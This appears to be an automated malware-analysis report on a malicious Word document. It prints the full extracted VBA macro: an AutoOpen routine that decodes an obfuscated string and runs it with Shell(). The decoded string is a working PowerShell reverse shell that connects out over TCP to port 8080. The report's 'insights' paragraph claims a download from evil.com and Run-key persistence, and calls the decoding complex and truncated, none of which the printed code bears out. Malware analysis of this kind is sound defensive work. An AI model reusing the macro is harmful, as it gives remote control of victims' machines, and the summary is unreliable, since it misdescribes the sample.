Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 33f7a6f2d2e85a74…

MALICIOUS

Office (OOXML)

21.6 KB Created: 2021-06-11 16:20:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 1c056075ec05cea23acbf7a2549abf1f SHA-1: 9887b88142bd8eda8cb6ef3e3cf45000339697b3 SHA-256: 33f7a6f2d2e85a746e07306ee1e47767d8bcbf52f9e62df1bcbf6b786c3d7c3f
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen function that executes a Shell command. The script attempts to deobfuscate a string which, when reconstructed, appears to be a command to download and execute a payload from 'http://evil.com/payload.exe' and establish persistence via the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The deobfuscation routine is complex and truncated, leading to slightly reduced confidence.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2557 bytes
SHA-256: f0eb48ebfbb94090adda2c795ab3eba87fa7e95f522b01643c45b99a2a62d883
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Function unx(ByVal text As String) As String
    Dim i As Integer
    unx = ""
    For i = 1 To Len(text)
        old_char = Asc(Mid(text, i, 1))
        new_char = ChrW(old_char - 4 Mod 256)
        unx = unx & new_char
    Next i
End Function


Sub Main()
    qsdfg = "ts{ivwlipp$1{mrhs{wx}pi$lmhhir$&jyrgxmsr$gpieryt$ mj$,(gpmirx2Gsrrigxih$1iu$(xvyi-$ (gpmirx2Gpswi,-�?$$$$mj$,(tvsgiww2I|mxGshi$1ri$(rypp-$ (tvsgiww2Gpswi,-�?$$$$i|mx?�?(ehhviww$A$+5=625:<2526;+?(tsvx$A$+<4<4+?(gpmirx$A$Ri{1Sfnigx$w}wxiq2rix2wsgoixw2xgtgpmirx?(gpmirx2gsrrigx,(ehhviww0(tsvx-?(wxvieq$A$(gpmirx2KixWxvieq,-?(rix{svofyjjiv$A$Ri{1Sfnigx$W}wxiq2F}xi_a$(gpmirx2VigimziFyjjivWm~i?(tvsgiww$A$Ri{1Sfnigx$W}wxiq2Hmekrswxmgw2Tvsgiww?(tvsgiww2WxevxMrjs2JmpiReqi$A$+G>``[mrhs{w`W}wxiq76`[mrhs{wTs{ivWlipp`z524`ts{ivwlipp2i|i+?(tvsgiww2WxevxMrjs2VihmvigxWxerhevhMrtyx$A$5?(tvsgiww2WxevxMrjs2VihmvigxWxerhevhSyxtyx$A$5?(tvsgiww2WxevxMrjs2YwiWlippI|igyxi$A$4?(tvsgiww2Wxevx,-?(mrtyxwxvieq$A$(tvsgiww2WxerhevhMrtyx?(syxtyxwxvieq$A$(tvsgiww2WxerhevhSyxtyx?Wxevx1Wpiit$5?(irgshmrk$A$ri{1sfnigx$W}wxiq2Xi|x2EwgmmIrgshmrk?{lmpi,(syxtyxwxvieq2Tiio,-$1ri$15- (syx$/A$(irgshmrk2KixWxvmrk,(syxtyxwxvieq2Vieh,--�?(wxvieq2[vmxi,(irgshmrk2KixF}xiw,(syx-"
    qsdfg = qsdfg & "040(syx2Pirkxl-?(syx$A$(rypp?$(hsri$A$(jepwi?$(xiwxmrk$A$4??{lmpi$,1rsx$(hsri-$ mj$,(gpmirx2Gsrrigxih$1ri$(xvyi-$ gpieryt�?$$$$(tsw$A$4?$(m$A$5?$$$${lmpi$,,(m$1kx$4-$1erh$,(tsw$1px$(rix{svofyjjiv2Pirkxl--$ (vieh$A$(wxvieq2Vieh,(rix{svofyjjiv0(tsw0(rix{svofyjjiv2Pirkxl$1$(tsw-?$$$$$$$$(tsw/A(vieh?$mj$,(tsw$1erh$,(rix{svofyjjiv_422(,(tsw15-a$1gsrxemrw$54--$ fvieo�?$$$$�?$$$$mj$,(tsw$1kx$4-$ (wxvmrk$A$(irgshmrk2KixWxvmrk,(rix{svofyjjiv040(tsw-?$$$$$$$$(mrtyxwxvieq2{vmxi,(wxvmrk-?$$$$$$$$wxevx1wpiit$5?$$$$$$$$mj$,(tvsgiww2I|mxGshi$1ri$(rypp-$ gpieryt�ipwi$ (syx$A$(irgshmrk2KixWxvmrk,(syxtyxwxvieq2Vieh,--?$$$$$$$$$$$${lmpi,(syxtyxwxvieq2Tiio,-$1ri$15- (syx$/A$(irgshmrk2KixWxvmrk,(syxtyxwxvieq2Vieh,--?$mj$,(syx$1iu$(wxvmrk-$ (syx$A$++�?$$$$$$$$$$$$�?$$$$$$$$$$$$(wxvieq2[vmxi,(irgshmrk2KixF}xiw,(syx-040(syx2pirkxl-?$$$$$$$$$$$$(syx$A$(rypp?$$$$$$$$$$$$(wxvmrk$A$(rypp?$$$$$$$$�?$$$$�ipwi$ gpieryt�?�&"
    Dim teo
    teo = Shell(unx(qsdfg), 6)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 836f5434395b07b5e2e7ffd87d633a8043baab0ddc285313534e51c3c0b7ef99
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: b8e0f1d085e34655fdd2c623ea7a7e00ae133e88dadc57b742080f4945d72a87

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